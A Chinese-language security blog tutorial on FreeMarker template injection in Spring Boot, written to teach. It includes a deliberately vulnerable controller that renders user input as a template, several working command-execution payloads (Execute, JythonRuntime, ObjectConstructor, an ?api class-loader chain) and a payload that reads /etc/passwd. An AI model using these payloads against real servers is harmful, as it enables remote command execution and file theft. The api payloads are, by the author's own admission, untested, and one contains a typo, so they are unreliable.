SSTI注入-FreeMarker

前言

在看代码审计的时候遇到模板注入,突然想到还没有学习到这个知识点,是时候补上了。

FreeMarker

FreeMarker是一个基于Java的模板引擎,用于生成文本输出,它可以使开发者在开发的时候能够将数据与模板分离。模板文件存放在Web服务器上,当访问指定模版文件时, FreeMarker会动态转换模板,用最新的数据内容替换模板中 ${...}的部分,然后返回渲染结果。FreeMarker模板引擎中使用的模板语言是FTL(FreeMarker Template Language),FTL提供了一种简单而强大的方式来生成文本内容。

FreeMarker模版语言说明

文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出
插值:语法为 ${}, 这部分的输出会被模板引擎计算的值来替换。
指令标签:<# >或者 <@ >。如果指令为系统内建指令,如assign时,用<# >。如果指令为用户指令,则用<@ >。利用中最常见的指令标签为<#assign>,该指令可创建变量。
注释:由 <#---->表示,注释部分的内容会 FreeMarker 忽略

FreeMarker简单使用

我这里为了方便直接使用Springboot来搭建,选择阿里云的脚手架。

image-20250312224847856

Spring原生支持FreeMarker,勾选上Spring Web和FreeMarker

image-20250312224916661

写一个简单的controller,在resources建立templates里面放模板文件

image-20250312230628598

模板内容

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title>FreeMarker Example</title>
</head>
<body>
<h1>Hello, ${name}!</h1>
</body>
</html>

还有一个点需要注意,如果你像我这样配置,需要把Springboot的配置文件模板加载位置改为

1
spring.freemarker.template-loader-path=classpath:/templates/

当我们传入name=Sp4rks3时替换模板中的 ${name}。由于我们输入可控,会不会有风险呢?

image-20250312230920336

FreeMarker模版注入

当我们使用网上的payload直接去打的时候,我们发现根本行不通,freemarker直接给渲染出来了。

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

image-20250312233537753

只有我们往模板插payload,然后再访问才能触发payload。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>FreeMarker Example</title>
</head>
<body>
<h1>Hello, ${name}!</h1>
<h3><#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}</h3>
</body>
</html>

image-20250312231023672

在这里你可能回想要想实现命令执行那么岂不是得控制模板内容,当前场景下确实是这样的,可能你还会说这个得有多么的鸡肋,其实不然,有些CMS应用后台会提供模板的编辑功能和模板自定义功能,此时我们便可以控制模板文件来进行恶意的攻击操作,Freemarker可利用的点在于模版语法本身,直接渲染用户输入payload会被转码而失效。

但,仅仅是这样么?下面我再写一个controller,这个是根据github上一个star数挺高的项目改编而来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example.sstivuln.controller;

import freemarker.cache.StringTemplateLoader;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.springframework.web.bind.annotation.*;

import java.io.IOException;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;

@RestController
public class FreemarkerVulnController {
private final Configuration cfg;
private final StringTemplateLoader templateLoader;

public FreemarkerVulnController() {
this.cfg = new Configuration(Configuration.VERSION_2_3_30);
this.templateLoader = new StringTemplateLoader();
cfg.setTemplateLoader(templateLoader);
}

@RequestMapping("/vuln")
public String renderTemplate(@RequestParam String template) throws IOException, TemplateException {
// 将用户输入的模板存入 TemplateLoader
String templateName = "userTemplate";
templateLoader.putTemplate(templateName, template);

// 通过 TemplateLoader 获取模板
Template freemarkerTemplate = cfg.getTemplate(templateName);

Map<String, Object> dataModel = new HashMap<>();

StringWriter out = new StringWriter();
//解析
freemarkerTemplate.process(dataModel, out);

return out.toString();
}
}

这个controller直接把用户的输入作为模板来直接处理,从而也会导致漏洞。我们再试试payload。

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

可以发现,这次就可以直接解析我们的payload。

image-20250312231848195

所以攻击场景差不多有三种

  1. 文件上传ftl文件
  2. 网站提供修改模板的功能
  3. 如果有可控漏洞点,并且把我们的输入当成模板解析,那就可以直接用layload打

FreeMarker模版注入分析

对于Springboot视图渲染流程大家可以看这一篇文章—spring mvc(六):请求执行流程(三)之视图渲染,下面主要是对模板的解析过程进行一个简易的分析。

当前模板是我输入的<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")},dataModel是模板中的变量数据通过HashMap存储,我这里啥也没put,不重要。out是模板渲染后的最终输出。

image-20250315174256219

一路跟进process,重点是打断点的地方,意思是通过visit方法处理模板的根节点。跟进它

image-20250315175649812

来看详细的代码,由于FreeMarker 语法支持在同一语句中包含不同的元素,比如变量赋值 (<#assign>) 和 插值表达式 (${}),这些元素会被解析成不同的 TemplateElement,并且交给各自的 accept() 方法处理。FreeMarker 通过压栈记录当前解析的元素,并递归调用 visit(el) 遍历其子元素。不同类型的 TemplateElement(如 Assignment 处理 <#assign>DollarVariable 处理 ${})会调用各自的 accept() 方法进行解析和执行。当前处理的类是 Assignment,不是重点,我这里直接跳过

image-20250315181059637

来到DollarVariable的accept方法,调用了calculateInterpolatedStringOrMarkup方法来处理,跟进eval方法。

image-20250315181426366

如果表达式有缓存的值直接调用,缓存的值,当然我们现在是没有的,直接调用_eval

image-20250315181542975

_eval()方法用来执行FreeMarker变量或方法调用,如果target是TemplateMethodModel,就执行并返回结果,如果是Macro,就调用宏函数。

image-20250315181759432

我们可以看到 targetMethod 目前就是我们payload当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于

1
2
3
4
5
Object result = targetMethod.exec(argumentStrings);

// 等价于

Object result = freemarker.template.utility.Execute.exec(argumentStrings);

最后Runtime.getRuntime().exec( aExecute );

image-20250315181831349

载荷扩展

我们当前的payload是

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

这是因为 FreeMarker 的内置函数 new 导致的,下面介绍FreeMarker的两个内置函数—— newapi

内置函数new

可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。
以下常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.Executefreemarker.template.utility.JythonRuntimefreemarker.template.utility.ObjectConstructor

image-20250317110950708

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

freemarker.template.utility.JythonRuntime 类可以通过自定义标签的方式执行Python命令,从而构造远程命令执行。当然是需要有Jython的依赖

1
2
3
4
5
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.0</version>
</dependency>
1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")</@value>

freemarker.template.utility.ObjectConstructor类会把它的参数作为名称构造一个实例化对象,具体代码如下所示:

image-20250317110351882

所以payload为

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","cmd.exe","/c","calc").start()}

内置函数api

value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。
但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

可以通过springboot启动配置,配置:spring.freemarker.settings.api_builtin_enabled=true 打开

命令执行payload:

1
2
3
4
5
6
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}

备注:这里利用载荷是要把上面的Object替换替换成可编辑模板中可用的真实的Object后利用才行

读取文件的payload:

1
2
3
4
5
6
7
8
9
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
1
2
3
4
5
6
7
8
9
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

感觉挺鸡肋的,没测过。

参考链接

常用框架快速整合

spring mvc(六):请求执行流程(三)之视图渲染

探索spring下SSTI通用方法

JAVA安全之FreeMark模板注入刨析

服务器端模版注入SSTI分析与归纳

文章 - JAVA安全之FreeMark模板注入刨析 - 先知社区


SSTI注入-FreeMarker
https://sp4rks3.github.io/2025/03/23/JAVA安全/反序列化/SSTI注入-FreeMarker/
作者
Sp4rks3
发布于
2025年3月23日
许可协议